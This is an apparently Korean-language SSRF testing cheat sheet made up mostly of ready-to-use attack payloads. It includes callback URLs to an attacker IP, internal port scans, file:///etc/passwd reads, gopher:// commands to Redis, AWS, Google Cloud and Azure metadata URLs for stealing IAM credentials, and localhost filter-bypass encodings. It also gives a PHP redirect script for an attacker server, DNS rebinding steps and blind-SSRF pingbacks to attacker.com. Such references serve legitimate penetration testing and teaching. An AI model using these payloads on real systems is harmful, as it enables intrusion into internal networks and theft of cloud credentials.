Server-Side Request Forgery (SSRF) 취약점 진단
Overview
SSRF (Server-Side Request Forgery): 공격자가 웹 애플리케이션 서버를 조종하여(위조된 요청을 만들어) 내부 네트워크나 외부 임의의 서버로 HTTP/다양한 프로토콜 요청을 보내게 만드는 취약점
- 위험성: 방화벽을 우회하여 내부 서비스 접근, 클라우드 메타데이터 탈취, 로컬 파일 읽기 가능
1. Reconnaissance (취약점 식별)
기본 페이로드 테스트
URL 파라미터나 외부 리소스를 가져오는 기능에 공격자 서버 URL 삽입 후 요청 여부 모니터링
http://<target>/page?url=http://<attacker-ip>
http://<target>/fetch?url=http://<attacker-ip>
http://<target>/item/2?server=http://<attacker-ip>
내부 네트워크 포트 스캔
서버를 프록시로 사용하여 내부(Localhost) 서비스 동작 여부 탐지
http://<target>/fetch?url=http://127.0.0.1:22 # SSH
http://<target>/fetch?url=http://127.0.0.1:80 # HTTP
http://<target>/fetch?url=http://127.0.0.1:3306 # MySQL
http://<target>/fetch?url=http://127.0.0.1:6379 # Redis
2. Exploitation (공격 수행)
로컬 파일 및 서비스 접근 (다양한 프로토콜 활용)
HTTP 외의 프로토콜 스키마를 사용하여 서버 로컬 자원에 접근
# [file://] 로컬 파일 시스템 읽기
http://<target>/fetch?url=file:///etc/passwd
http://<target>/fetch?url=file:///c:/windows/win.ini
# [dict://] 내장 서비스(Memcached 등) 정보 추출
http://<target>/fetch?url=dict://127.0.0.1:11211/stats
# [gopher://] Redis 등 내부 서비스 RCE 연계
http://<target>/fetch?url=gopher://127.0.0.1:6379/_SET%20test%20value
# [ldap://] LDAP 서비스 접근
http://<target>/fetch?url=ldap://127.0.0.1:389
클라우드 메타데이터 자격증명 탈취
타겟 서버가 클라우드 인스턴스인 경우 메타데이터 서비스에 접근하여 토큰 탈취
# AWS (Amazon Web Services)
http://<target>/fetch?url=http://169.254.169.254/latest/meta-data/
http://<target>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Google Cloud
http://<target>/fetch?url=http://metadata.google.internal/computeMetadata/v1/
# Azure
http://<target>/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01
3. Advanced Techniques
SSRF 블랙리스트 필터링 우회 기법
127.0.0.1이나 localhost 문자열이 필터링된 경우 우회
# 1. IP 주소 형식 변환
http://2130706433/ # 10진수 표현 (127.0.0.1)
http://0177.0.0.1/ # 8진수 혼합
http://0x7f.0x0.0x0.0x1/ # 16진수 표현
# 2. 대체 도메인 사용 (127.0.0.1로 해석되는 도메인)
http://localtest.me/
http://127.0.0.1.nip.io/
http://127.0.0.1.xip.io/
# 3. 특수 문자 조합 (@, #)
http://evil.com@127.0.0.1/
http://127.0.0.1#evil.com/
# 4. 이중 URL 인코딩
http://%25%33%31%25%33%32%25%33%37%2e%25%33%30%2e%25%33%30%2e%25%33%31/
리다이렉트 (Redirect) 우회 및 DNS Rebinding
서버가 최초 요청 대상만 검증하고 리다이렉션을 따라가는 약점 악용
HTTP Redirect 활용:
# 공격자 서버에 redirect.php 구성
<?php header("Location: http://127.0.0.1/admin"); ?>
# 페이로드 주입
http://<target>/fetch?url=http://<attacker-ip>/redirect.php
DNS Rebinding:
# 1차 검증 시 정상 IP 응답, 검증 직후 내부망 IP로 DNS 응답 변경 (TTL 0 설정)
1차 요청 (검증): attacker.com -> 8.8.8.8 (통과)
2차 요청 (연결): attacker.com -> 127.0.0.1 (공격 성공)
Blind SSRF 식별
화면에 응답값이 노출되지 않는 환경에서는 외부로 DNS 조회가 발생하는지 체크
# Burp Collaborator 또는 공격자 서버를 이용해 핑백(Pingback) 대기
http://<target>/fetch?url=http://ssrf-test.attacker.com/